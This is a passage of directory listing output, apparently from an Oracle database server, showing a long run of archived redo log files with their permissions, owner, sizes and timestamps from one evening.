arch1_577_1215462093.dbf -rw-r-----. 1 oracle oinstall 9.3M Dec 27 20:42 arch1_578_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:42 arch1_579_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:42 arch1_580_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 20:42 arch1_581_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:42 arch1_582_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:43 arch1_583_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:43 arch1_584_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:43 arch1_585_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:43 arch1_586_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:43 arch1_587_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:43 arch1_588_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:43 arch1_589_1215462093.dbf -rw-r-----. 1 oracle oinstall 7.3M Dec 27 20:43 arch1_590_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:43 arch1_591_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:43 arch1_592_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:43 arch1_593_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:43 arch1_594_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:43 arch1_595_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:43 arch1_596_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:43 arch1_597_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:43 arch1_598_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:43 arch1_599_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:43 arch1_600_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.8M Dec 27 20:43 arch1_601_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:44 arch1_602_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:44 arch1_603_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:44 arch1_604_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:44 arch1_605_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:44 arch1_606_1215462093.dbf -rw-r-----. 1 oracle oinstall 9.6M Dec 27 20:44 arch1_607_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 20:44 arch1_608_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:44 arch1_609_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.8M Dec 27 20:44 arch1_610_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:44 arch1_611_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:44 arch1_612_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:44 arch1_613_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:44 arch1_614_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 20:44 arch1_615_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:44 arch1_616_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:44 arch1_617_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:44 arch1_618_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.7M Dec 27 20:44 arch1_619_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:44 arch1_620_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:45 arch1_621_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:45 arch1_622_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:45 arch1_623_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:45 arch1_624_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:45 arch1_625_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:45 arch1_626_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:45 arch1_627_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:45 arch1_628_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:45 arch1_629_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:45 arch1_630_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:45 arch1_631_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:45 arch1_632_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:45 arch1_633_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:45 arch1_634_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:45 arch1_635_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:45 arch1_636_1215462093.dbf -rw-r-----. 1 oracle oinstall 8.3M Dec 27 20:45 arch1_637_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:45 arch1_638_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:45 arch1_639_1215462093.dbf -rw-r-----. 1 oracle oinstall 8.6M Dec 27 20:45 arch1_640_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:46 arch1_641_1215462093.dbf -rw-r-----. 1 oracle oinstall 8.3M Dec 27 20:46 arch1_642_1215462093.dbf -rw-r-----. 1 oracle oinstall 8.3M Dec 27 20:46 arch1_643_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:46 arch1_644_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:46 arch1_645_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:46 arch1_646_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:46 arch1_647_1215462093.dbf -rw-r-----. 1 oracle oinstall 7.5M Dec 27 20:46 arch1_648_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:46 arch1_649_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:46 arch1_650_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:46 arch1_651_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:46 arch1_652_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:46 arch1_653_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 20:46 arch1_654_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:46 arch1_655_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:46 arch1_656_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:46 arch1_657_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:46 arch1_658_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:46 arch1_659_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:47 arch1_660_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:47 arch1_661_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:47 arch1_662_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:47 arch1_663_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:47 arch1_664_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:47 arch1_665_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:47 arch1_666_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:47 arch1_667_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:47 arch1_668_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:47 arch1_669_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:47 arch1_670_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.7M Dec 27 20:47 arch1_671_1215462093.dbf -rw-r-----. 1 oracle oinstall 7.8M Dec 27 20:47 arch1_672_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:47 arch1_673_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:47 arch1_674_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:47 arch1_675_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.9M Dec 27 20:47 arch1_676_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:47 arch1_677_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:47 arch1_678_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:48 arch1_679_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:48 arch1_680_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:48 arch1_681_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:48 arch1_682_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:48 arch1_683_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:48 arch1_684_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:48 arch1_685_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:48 arch1_686_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:48 arch1_687_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:48 arch1_688_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:48 arch1_689_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:48 arch1_690_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:48 arch1_691_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:48 arch1_692_1215462093.dbf -rw-r-----. 1 oracle oinstall 9.2M Dec 27 20:48 arch1_693_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:48 arch1_694_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:48 arch1_695_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:48 arch1_696_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:48 arch1_697_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:49 arch1_698_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:49 arch1_699_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:49 arch1_700_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:49 arch1_701_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:49 arch1_702_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:49 arch1_703_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:49 arch1_704_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:49 arch1_705_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:49 arch1_706_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:49 arch1_707_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:49 arch1_708_1215462093.dbf -rw-r-----. 1 oracle oinstall 8.7M Dec 27 21:00 arch1_709_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.5M Dec 27 21:08 arch1_710_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:08 arch1_711_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:08 arch1_712_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:08 arch1_713_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:08 arch1_714_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:08 arch1_715_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:08 arch1_716_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:08 arch1_717_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:08 arch1_718_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:08 arch1_719_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:08 arch1_720_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:08 arch1_721_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:09 arch1_722_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:09 arch1_723_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:09 arch1_724_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:09 arch1_725_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:09 arch1_726_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:09 arch1_727_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:09 arch1_728_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:09 arch1_729_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:09 arch1_730_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:09 arch1_731_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:09 arch1_732_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:09 arch1_733_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:09 arch1_734_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:09 arch1_735_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:09 arch1_736_1215462093.dbf -rw-r-----. 1 oracle oinstall 8.4M Dec 27 21:09 arch1_737_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:09 arch1_738_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:09 arch1_739_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:09 arch1_740_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:10 arch1_741_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:10 arch1_742_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:10 arch1_743_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:10 arch1_744_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:10 arch1_745_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:10 arch1_746_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:10 arch1_747_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:10 arch1_748_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:10 arch1_749_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:10 arch1_750_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:10 arch1_751_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:10 arch1_752_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:10 arch1_753_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.6M Dec 27 21:14 arch1_754_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:14 arch1_755_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:14 arch1_756_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:14 arch1_757_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:14 arch1_758_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:14 arch1_759_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:14 arch1_760_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:14 arch1_761_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:15 arch1_762_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:15 arch1_763_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:15 arch1_764_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:15 arch1_765_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:15 arch1_766_1215462093.dbf -rw-r-----. 1 oracle oinstall 8.3M Dec 27 21:15 arch1_767_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:15 arch1_768_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:15 arch1_769_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:15 arch1_770_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:15 arch1_771_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:15 arch1_772_1215462093.dbf -rw-r-----. 1 oracle oinstall 7.7M Dec 27 21:15 arch1_773_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:15 arch1_774_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:15 arch1_775_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:15 arch1_776_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:15 arch1_777_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:15 arch1_778_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:15 arch1_779_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:15 arch1_780_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:16 arch1_781_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:16 arch1_782_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:16 arch1_783_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:16 arch1_784_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:16 arch1_785_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:16 arch1_786_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:16 arch1_787_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:16 arch1_788_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:16 arch1_789_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:16 arch1_790_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:16 arch1_791_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:16 arch1_792_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:16 arch1_793_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.7M Dec 27 21:16 arch1_794_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:16 arch1_795_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:16 arch1_796_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:16 arch1_797_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:16 arch1_798_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:16 arch1_799_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:17 arch1_800_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:17 arch1_801_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:17 arch1_802_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:17 arch1_803_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:17 arch1_804_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:17 arch1_805_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:17 arch1_806_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:17 arch1_807_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 21:17 arch1_808_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:17 arch1_809_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:17 arch1_810_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 21:17 arch1_811_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:17 arch1_812_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:17 arch1_813_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 21:17 arch1_814_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:17 arch1_815_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:17 arch1_816_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:17 arch1_817_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:17 arch1_818_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:18 arch1_819_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:18 arch1_820_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:18 arch1_821_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:18 arch1_822_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 21:18 arch1_823_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:18 arch1_824_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:18 arch1_825_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:18 arch1_826_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:18 arch1_827_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 21:18 arch1_828_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:18 arch1_829_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:18 arch1_830_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:18 arch1_831_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:18 arch1_832_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:18 arch1_833_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 21:18 arch1_834_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:18 arch1_835_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:18 arch1_836_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:18 arch1_837_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:18 arch1_838_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:19 arch1_839_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 21:19 arch1_840_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:19 arch1_841_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:19 arch1_842_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:19 arch1_843_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:19 arch1_844_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:19 arch1_845_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:19 arch1_846_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:19 arch1_847_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:19 arch1_848_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:19 arch1_849_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:19 arch1_850_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:19 arch1_851_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:19 arch1_852_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 21:19 arch1_853_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:19 arch1_854_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:19 arch1_855_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:19 arch1_856_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:19 arch1_857_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:20 arch1_858_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:20 arch1_859_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:20 arch1_860_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:20 arch1_861_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:20 arch1_862_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:20 arch1_863_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:20 arch1_864_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:20 arch1_865_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:20 arch1_866_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:20 arch1_867_1215462093.dbf -rw-r-----. 1 oracle oinstall 9.8M Dec 27 21:20 arch1_868_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:20 arch1_869_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:20 arch1_870_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:20 arch1_871_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:20 arch1_872_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:20 arch1_873_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:21 arch1_874_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:21 arch1_875_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:21 arch1_876_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:21 arch1_877_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:21 arch1_878_1215462093.dbf -rw-r-----. 1 oracle oinstall 9.3M Dec 27 21:21 arch1_879_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:21 arch1_880_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:21 arch1_881_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:21 arch1_882_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:21 arch1_883_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:21 arch1_884_1215462093.dbf -rw-r-----. 1 oracle oinstall 8.3M Dec 27 21:21 arch1_885_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:21 arch1_886_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:21 arch1_887_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:21 arch1_888_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:21 arch1_889_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:21 arch1_890_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:21 arch1_891_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:21 arch1_892_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:21 arch1_893_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:22 arch1_894_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:22 arch1_895_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:22 